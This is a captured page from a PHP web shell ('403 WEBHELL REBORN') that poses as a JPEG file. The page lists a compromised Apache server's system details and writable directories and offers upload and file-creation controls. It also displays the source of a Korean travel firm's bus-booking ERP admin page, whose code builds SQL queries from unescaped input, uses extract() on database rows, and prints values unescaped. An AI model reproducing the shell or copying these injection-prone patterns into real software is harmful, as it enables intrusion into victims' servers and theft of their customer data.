ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/erp_231024/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/erp_231024/bus_edit.php
<?
ini_set("display_errors", 1);
error_reporting(E_ALL);

include "../include/top_iframe.html";
include "_common.php";

$table = "TB_ERP_BUS";

// 견적서에서 넘어올때
if($a_idx || $x_idx){

    if($x_idx) $a_idx = $x_idx;

    $data_bus = db_fetch("select * from {$table} where a_idx='{$a_idx}'");
    if($data_bus){
        $b_idx = $data_bus['b_idx'];
    }
}

// 버스 정산 정보
if($b_idx){
    $data_bus = db_fetch("select * from {$table} where b_idx='{$b_idx}'");
    extract($data_bus);

    $profit = $total_sell_price - $total_buy_price; // 회사수익

    $mode = "수정 저장";
    $SqlType = "edit";
} else {
    $start_date = $end_date = date('Y-m-d H:00:00');

    $mode = "저장";
    $SqlType = "insert";

    // 견적서 행사명
    if($a_idx){
        $data_erp = db_fetch("select * from TB_ERP_ALL where a_idx='{$a_idx}'");
        $schedule_name = $data_erp['good_name'];
    }
}


list($start_date, $start_time) = explode(" ", $start_date);
list($end_date, $end_time) = explode(" ", $end_date);

// 버스 회사 목록
//$bus_corp_row = get_bus_corp_list();
$rs = db_query("select * from TB_ERP_BUS_CORP where 1=1");
for($i=0 ; $i < $row = db_fetch_array($rs) ; $i++){
    $bus_corp_row[] = $row;
}




$alimtalkHistoryCnt = 0;

if($match_private_bus){
    $alimtalkHistory = to_send_history_list(array('res_no'=>$match_private_bus,'type'=>'AT'));
    if($alimtalkHistory){
        $alimtalkHistoryCnt = count($alimtalkHistory);
    }
}


// 담당자
$admin_arr = member_fetch(" and mb_level <= 10 ");
$admin_arr = array_reverse($admin_arr);

$adminUser = array();
foreach ($admin_arr as $item){
    $adminUser[$item['mb_id']] = $item;
}


?>
<style>
    #sendAlimTalkThenSaveBtn{font-family:"Nanum Gothic", 나눔고딕, 돋움, Dotum, 굴림, Gulim, arial, verdana;vertical-align:middle;height:21px;
        margin:0;cursor:pointer;float:right;color:#000;font-weight:500;margin-left:5px;text-align:center;
        border:1px solid #eec20f;background:#fcdf7c;padding:6px 15px 0px !important;border-radius:3px;font-size:12px}
</style>
<?php
    $returnUrl = "";

    if($_GET['returnUrl']){
        $returnUrl = $_GET['returnUrl'];
        $returnUrl = str_replace("quququ","?",$returnUrl);
        $returnUrl = str_replace("ananan","&",$returnUrl);
    }
?>
    <p class="pt10"><p>
    <div class="iframe" style="margin:0;">
    <!-- 본문 -->
    <!-- 폼 -->
    <form name="frm_bus_edit" id="frm_bus_edit" method="post">
        <input name="SqlType" type="hidden" value="<?=$SqlType?>">
        <input name="b_idx" type="hidden" value="<?=$b_idx?>">
        <input name="a_idx" type="hidden" value="<?=$a_idx?>">
        <input name="window" type="hidden" value="<?=$window?>">
        <input name="tmp_layer_id" type="hidden" value="<?=$tmp_layer_id?>">
        <input type="hidden" name="match_private_bus" value="<?=$match_private_bus?>" />
        <input type="hidden" name="returnUrl" value="<?=$returnUrl?>" />

        <table width="100%" border="0" cellspacing="0" cellpadding="0" class="t_register" summary="버스 정산을 수정합니다.">
            <caption>버스 정산 <?=$mode?></caption>
            <tbody>
            <colgroup>
                <col width="120"></col>
                <col></col>
                <col width="120"></col>
                <col></col>
            </colgroup>
            <tr class="busResTr">
                <th style="border-left:1px solid #e4e4e4;border-top:1px solid #e4e4e4" scope="row">버스회사 선택</th>
                <td <?=(($mode == '저장') ? 'colspan="3"' : '')?>>
                    <select name="bc_idx" id="bc_idx" style="width:200px;" hname="버스회사" required>
                        <option value="">==선택==</option>
                        <? foreach($bus_corp_row as $k => $v) { ?>
                            <option value="<?=$v['bc_idx']?>" <?if($v['bc_idx'] == $bc_idx) echo "selected"?>><?=$v['corp_nm']?></option>
                        <?}?>
                    </select>
                </td>

                <?php
                    if(($mode != '저장')){
                ?>
                <th style=";border-top:1px solid #e4e4e4" scope="row">작성자</th>
                <td><?=$adminUser[$ins_id]['mb_nm']?></td>
                <?php
                    }
                ?>
            </tr>
            <tr class="busResTr">
                <th style="border-left:1px solid #e4e4e4" scope="row">행사명</th>
                <td colspan="3">
                    <input type="text" name="schedule_name" value="<?=$schedule_name?>" class="input_text" style="width:552px;" hname="행사명" required>
                </td>
            </tr>
            <tr class="busResTr">
                <th style="border-left:1px solid #e4e4e4" scope="row">운행일시</th>
                <td colspan="3">
                    출발일시 <input type="text" name="start_date" id="start_date" class="cal_input" style="width:90px;" value="<?=$start_date?>" onclick="AjaxCal(this,event);"> <input type="text" name="start_time" value="<?=$start_time?>" class="input_text" style="width:60px;">&nbsp;
                    도착일시 <input type="text" name="end_date" id="end_date" class="cal_input" style="width:90px;" value="<?=$end_date?>" onclick="AjaxCal(this,event);"> <input type="text" name="end_time" value="<?=$end_time?>" class="input_text" style="width:60px;">
                </td>
            </tr>

            <tr class="busResTr">
                <th style="border-left:1px solid #e4e4e4" scope="row">고객명</th>
                <td>
                    <input type="text" name="cus_name" value="<?=$cus_name?>" style="width:150px" class="input_text">
                </td>
                <th style="width:75px;" scope="row">국적</th>
                <td>
                    <input type="text" name="cus_nation" value="<?=$cus_nation?>" style="width:150px" class="input_text">
                </td>
            </tr>

            <tr class="busResTr">
                <th style="border-left:1px solid #e4e4e4" scope="row">연락처</th>
                <td>
                    <input type="text" name="cus_phone" value="<?=$cus_phone?>" style="width:150px" class="input_text">
                </td>
                <th scope="row">SNS</th>
                <td>
                    <input type="text" name="cus_sns" value="<?=$cus_sns?>" style="width:150px" class="input_text">
                </td>
            </tr>

            <tr class="busResTr">
                <th style="border-left:1px solid #e4e4e4" scope="row">항공편명</th>
                <td>
                    <input type="text" name="cus_flight" value="<?=$cus_flight?>" style="width:150px" class="input_text">
                </td>
                <th scope="row">미팅시간</th>
                <td>
                    <input type="text" name="cus_meeting_time" value="<?=$cus_meeting_time?>" style="width:150px" class="input_text">
                </td>
            </tr>

            <?php
                $depDesWidth = 571;

                if($cus_depature_place){
                    $depDesWidth = 552;
                }
            ?>

            <tr class="busResTr">
                <th style="border-left:1px solid #e4e4e4" scope="row">출발지</th>
                <td colspan="3" style="padding-right:0">
                    <input type="text" name="cus_depature_place" value="<?=$cus_depature_place?>" style="width:<?=$depDesWidth?>px" class="input_text">
                </td>
            </tr>

            <tr class="busResTr">
                <th style="border-left:1px solid #e4e4e4" scope="row">도착지</th>
                <td colspan="3" style="padding-right:0">
                    <input type="text" name="cus_destination" value="<?=$cus_destination?>" style="width:<?=$depDesWidth?>px" class="input_text">
                </td>
            </tr>


            <tr class="busResTr">
                <th style="border-left:1px solid #e4e4e4" scope="row">인원</th>
                <td>
                    <input type="text" name="cus_people_cnt" value="<?=$cus_people_cnt?>" style="width:150px" class="input_text">
                </td>
                <th scope="row">짐가방</th>
                <td>
                    <input type="text" name="cus_luggage_bag" value="<?=$cus_luggage_bag?>" style="width:150px" class="input_text">
                </td>
            </tr>

            <tr>
                <th style="border-left:1px solid #e4e4e4" scope="row">차량종류</th>
                <td><input type="text" name="bus_model" value="<?=$bus_model?>" class="input_text" style="width:150px;" hname="차량종류" required></td>
                <th scope="row">차량번호</th>
                <td><input type="text" name="bus_number" value="<?=$bus_number?>" class="input_text" style="width:150px;"></td>
            </tr>
            <tr>
                <th style="border-left:1px solid #e4e4e4" scope="row">기사명</th>
                <td><input type="text" name="driver_name" value="<?=$driver_name?>" class="input_text" style="width:150px;"></td>
                <th scope="row">기사연락처</th>
                <td>
                    <?php
                        $driverPhoneWidth = 150;
                        if($driver_phone){
                            $driverPhoneWidth = 106;
                        }
                    ?>
                    <input type="text" name="driver_phone" value="<?=$driver_phone?>" class="input_text" style="width:<?=$driverPhoneWidth?>px;">
                    <?php
                        if($driver_phone){
                    ?>
                    <input type="button" style="border-radius:0;position: relative;left:4px" name="" value="알림톡발송내역" class="Table_btn yellow" onclick="to_dialog.iframe('../reservation/history_mailsms.html?res_no=<?=$match_private_bus?>&type=AT','알림톡발송내역','700','540',true,true,'yes');">
                    <?php
                        }
                    ?>
                </td>
            </tr>

            <tr>
                <th style="border-left:1px solid #e4e4e4" scope="row">판매가</th>
                <td><input name="total_sell_price" id="total_sell_price" value="<?=number_format($total_sell_price)?>" type="text" style="width:150px;" class="input_text" hname="판매가" required /></td>
                <th scope="row">공급가</th>
                <td><input name="bus_price" id="bus_price" value="<?=number_format($bus_price)?>" type="text" style="width:150px;" class="input_text calc"/></td>
            </tr>

            <tr class="busResTr">
                <th style="border-left:1px solid #e4e4e4" scope="row">스케줄<br>(특이사항)</th>
                <td colspan="3">
                    <textarea name="schedule" style="width:500px"><?=$schedule?></textarea>
                    <input type="checkbox" name="kakaoalitalk" id="kakaoalitalk" style="visibility: hidden" />
                </td>
            </tr>


            <tr>
                <th style="border-left:1px solid #e4e4e4" scope="row">진행상태</th>
                <td colspan="3">
                    <select name="esti_state">
                        <option value="N" <?=($esti_state=='N')?"selected":"";?>>미정산(예약완료)</option>
                        <option value="Y" <?=($esti_state=='Y')?"selected":"";?>>정산완료</option>
                    </select>

                    <span style="color:#F00;">*담당자는 정산날짜를 메모에 입력후 꼭! <b><u>영수증 첨부!</u></b>해주세요!</span>
                </td>
            </tr>
            <tr>
                <th style="border-left:1px solid #e4e4e4" scope="row">메모</th>
                <td><textarea name="e_memo" id="e_memo" style="width:230px; height:70px;" class="input_text" /><?=$e_memo?></textarea></td>
                <td colspan="2" width="50%">

                    <?
                    for($f=1; $f<=2; $f++) {


                        ?>
                        <span style="float:left;<?=(($f==2) ? 'clear:both;margin-top:14px': 'margin-top:5px')?>">
                            <img  src="../../image/board/bullet_disk.gif" align="top" alt="파일첨부" />#<?=$f?>
                            <input type="hidden" name="MFILE<?=$f?>" value="<?=${"MFILE".$f}?>" />
                        </span>


                        <?if(${"MFILE".$f}){?>
                            <span style="float:left;margin-left:10px;<?=(($f==2) ? 'margin-top:14px': 'margin-top:5px')?>">


                            <a href="../lib/Download.php?Type=ERP&FileName=<?=${"MFILE".$f}?>&FileNameOrg=<?=urlencode($data["MFILE".$f."_org"])?>">
                                <span class="style_3"><?=${"MFILE".$f."_org"}?></span>
                            </a>
                            <img src="../image/btn/btn_delete.gif" align="top" style="cursor:pointer" alt="삭제" onclick="fnc_ImageDel('b_idx','<?=$b_idx?>','TB_ERP_BUS','MFILE<?=$f?>','<?=${"MFILE".$f}?>','/FileData/erp/');" />
                            </span>

                            <?
                            // 이미지 파일일 경우 (20090820 )
                            /*
                            if (preg_match("/\.(jpg|jpe|gif|png|bmp)$/", ${"MFILE".$f})) {
                                $f_target = "/FileData/erp/".${"MFILE".$f};
                                $f_url = $_SERVER['DOCUMENT_ROOT'].$f_target;

                                if (file_exists($f_url)) {
                                    // 이미지 사이즈를 구함
                                    $img_size = GetImageSize($f_url);
                                    if ($img_size[0] > 50) $img_size[0] = 50;
                                    echo "<img src=\"{$f_target}\" width=\"{$img_size[0]}\" onclick=\"to_dialog.image(this.src,'#{$f}');\" style=\"cursor:pointer;\"/>";
                                }
                            }
                            */
                            ?>
                        <? } else { ?>
                            <input type="file" name="T_UserFile<?=$f?>" class="input_file input_text" size="50" style="float:right;margin-right:60px;width:250px; height:18px;<?=(($f==2) ? 'margin-top:5px': '')?>" />
                            <?php
//                                if($f == 2){
//
//                                }else{
//                                    echo '<br>';
//                                    echo '<br>';
//                                    echo '<br>';
//                                }
                            ?>

                        <? } ?>
                        <?
                    }
                    ?>

                </td>
            </tr>

            </tbody>
        </table>


        <div style="width:220px; margin:0 auto; margin-top:15px;">
            <input type="button" value="<?=$mode?>" style="<?=(($mode == '저장') ? 'padding:0px 20px' : '')?>;height:28px" class="Tbtn red" onclick="update_frm();">
            <?php
            //237
            if(!$alimtalkHistoryCnt){
            ?>
            <span id="sendAlimTalkThenSaveBtn">저장후 카톡발송</span>
            <?php
            }else{
            ?>
                <span id="sendAlimTalkThenSaveBtn" style="border:1px solid #ccc;background:#ddd">저장후 카톡 재발송</span>
            <?php
            }
            ?>
        </div>

    </form>
    <!-- /폼 -->

    <script type="text/javascript">

        $(document).ready(function(){
            /*$('.t_register .calc, #total_sell_price').on('blur', function(){
                update_price();
            });*/
        });

        $('#sendAlimTalkThenSaveBtn').click(function(){
            $('#kakaoalitalk').attr("checked",true);
            setTimeout(function(){
                update_frm();
            },100)
        })


        /*function update_price(){
            var total_buy_price = 0;
            var total_sell_price = parseInt(replaceComma($('#total_sell_price').val()), 10);

            $('.t_register .calc').each( function() {
                total_buy_price += parseInt(replaceComma($(this).val()), 10);
            });

            $('#total_buy_price').val(total_buy_price);

            $('#profit').text(total_sell_price-total_buy_price);
        }*/

        function update_frm()
        {
            var f=document.frm_bus_edit;

            // 폼체크
            var result = to_validation(f);
            if (result == false) return false;

            if(!confirm("<?=$mode?>하시겠습니까?")) return false;

            ajax_post("","bus_proc.php","frm_bus_edit");
        }

        // 첨부파일 삭제 함수 (20090820 )
        function fnc_ImageDel(IDX_NM, MSEQ, TB_NM, FL_NM, IMG_NM, IMG_PATH) {
            if (confirm('정말 삭제하시겠습니까?')) {
                var Url = "../lib/FileDelete.php?IDX_NM=" + IDX_NM + "&MSEQ=" + MSEQ + "&TB_NM=" + TB_NM + "&FL_NM=" + FL_NM + "&IMG_NM=" + IMG_NM + "&IMG_PATH=" + IMG_PATH;
                IMGIF.location.href = Url;
            }
        }

    </script>

    <iframe name="IMGIF" id="IMGIF" width="0" height="0" style="display:none;"></iframe>
<?
include "../include/footer_iframe.html";
?>

Anon7 - 2021